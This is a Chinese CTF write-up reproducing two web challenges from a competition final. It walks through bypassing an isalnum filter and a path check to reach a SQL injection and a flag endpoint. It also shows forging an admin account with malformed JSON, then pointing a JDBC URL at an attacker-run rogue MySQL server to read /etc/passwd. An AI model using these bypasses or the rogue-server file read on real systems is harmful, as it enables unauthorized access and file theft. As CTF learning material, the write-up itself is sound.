去打了长城杯决赛,结果全程坐牢,果然不联网的web太难了,赛后拿到了两个web靶机的wp,复现一下。
目录结构
逻辑很简单,web用的是python的flask框架,然后go写了几个接口处理数据。
看看backend.go
func Flag(w http.ResponseWriter, r *http.Request ) {
action:= r.URL.Query().Get("action")
if action == "" {
fail(w, "Error getting action")
return
}
token:= r.URL.Query().Get("token")
if token == "" {
fail(w, "Error getting token")
return
}
var secret string
row := db.Sqlite.QueryRow("SELECT secret FROM token;")
if err := row.Scan(&secret); err != nil {
fail(w, "Error querying secret token")
return
}
if action == "readFlag" && secret == token {
data, err := ioutil.ReadFile("flag")
if err != nil {
fail(w, "Error reading flag")
return
}
ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))
return
}
ok(w, "Wrong token")
}
关键就在这里,action要readFlag,secrettoken,这个token的值是在数据库里的,再看
这里是可以造成sql注入的,注出token即可,但有个过滤,比赛时没有绕过去。。。然后基本上都在想办绕过这个过滤了。。
在app.py处
@app.route("/search", methods=["GET", "POST"])
def search():
if request.method == "GET":
return render_template("search.html")
else:
data = request.json
if data['name']:
if not isinstance(data['name'], str) or not data['name'].isalnum():
return jsonify({"error": "Bad word detected"})
if data['votes']:
if not isinstance(data['votes'], int):
return jsonify({"error": "Bad word detected"})
r = requests.post(f"http://{server}/api/search", data=request.data)
return jsonify(r.json())
/search路由的提交的数据传入go接口进行数据库查询,也就是上面sql注入的地方,提交方式为json。
vote参数为整数型,关键在name参数处有个isalnum。
绕过方法为多参数,但我比赛的时候尝试了多参数但是没有绕过去。后来拿到了wp,在本地简单复现一下。
搭建一个简单的app.py
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route("/search", methods=["GET", "POST"])
def search():
if request.method == "GET":
return "it is GET"
else:
data = request.json
if data['name']:
if not isinstance(data['name'], str) or not data['name'].isalnum():
return jsonify({"error": "Bad word detected"})
if data['votes']:
if not isinstance(data['votes'], int):
return jsonify({"error": "Bad word detected"})
return "Legal data"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
因为isalnum的过滤只能提交字母和数字,如图
上面说了多参数,我只想到覆盖,看了wp用的是[]
绕过
附上一张比赛时的原图(不是我做的)
这之后还有个过滤
@app.route("/" , methods=["GET"])
def handle(path):
if 'flag' in unquote(path):
action = request.args.get('action')
token = request.args.get('token')
print(action)
if action == "readFlag":
return jsonify({"error": "Sorry, readFlag is not permitted"})
r = requests.get(f"http://{server}/{path}", params={
"action": action,
"token": token
})
else:
r = requests.get(f"http://{server}/{path}")
return jsonify(r.text)
要传入action="readFlag"但这里对readFlag有过滤
readFlag没法绕,这里是对路由进行绕过,这里判断当请求路径为/flag时才进行下面的判断,所以
%66lag?action=readFlag
即可
比赛时觉得无解,现在看来学到了很多,还是太菜了
一道java题,比赛的时候知道了大致的思路,但没有做出来,赛后复现一下。
主办方后来给了jar包。所以本地复现比较容易。
直接看后台操作
主要是这里。
String url = request.getParameter("url");
String name = request.getParameter("name");
String pwd = request.getParameter("pwd");
ArrayList<UserBean> arrayList = new ArrayList<>();
if(! (url.isEmpty() || name.isEmpty() || pwd.isEmpty())){
JdbcUtils jdbcUtils = new JdbcUtils(url,name,pwd);
......
}
这里jdbc参数全可控,搭建恶意mysql服务器读文件即可
但在做这个操作前需要登陆admin
看注册这里
package com.example.jdbcSer;
import com.alibaba.fastjson.JSON;
import org.springframework.web.bind.annotation.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@RestController
public class Register {
@GetMapping("/register")
public boolean register(@RequestParam(value = "user", defaultValue = "{\"username\":\"hacker\",\"password\":\"guess\"}")String user) throws Exception {
user = user.replace("'", "\"");
Pattern pattern = Pattern.compile("\"username\":\"(.*?)\"");
Matcher matcher = pattern.matcher(user);
String username = "";
while (matcher.find()){
username =matcher.group();
}
if(!username.isEmpty()){
user = user.replace(username, "\"username\":\"hacker\"");
}
UserBean o = JSON.parseObject(user, UserBean.class);
JdbcUtils jdbcUtils = new JdbcUtils("jdbc:mysql://127.0.0.1:3306/www?serverTimezone=UTC", "root", "root");
jdbcUtils.insert(o);
return true;
}
}
如果按照常规的json格式提交,不管什么username都会被替换成hacker
例如
{"username":"admin","password":"123456"}
注册成功,看看表里注册进了什么数据。
所以要绕过正则,这个正则很简单,用大小写或者畸形json数据即可,这里去掉双引号变成
{username:"admin","password":"123456"}
可以看到注册成功了。登陆
/login?data={username:"admin","password":"123456"}
登陆成功后来到admin。
先起恶意mysql服务器。
脚本地址
https://github.com/allyshka/Rogue-MySql-Server
启动脚本访问
http://127.0.0.1:8080/admin?url=jdbc:mysql://192.168.36.2:3306/www?serverTimezone=UTC&name=123&pwd=123
读到/etc/passwd 之后读flag就行。
这题应该还可以用jdbc反序列化,之后学了再来试试。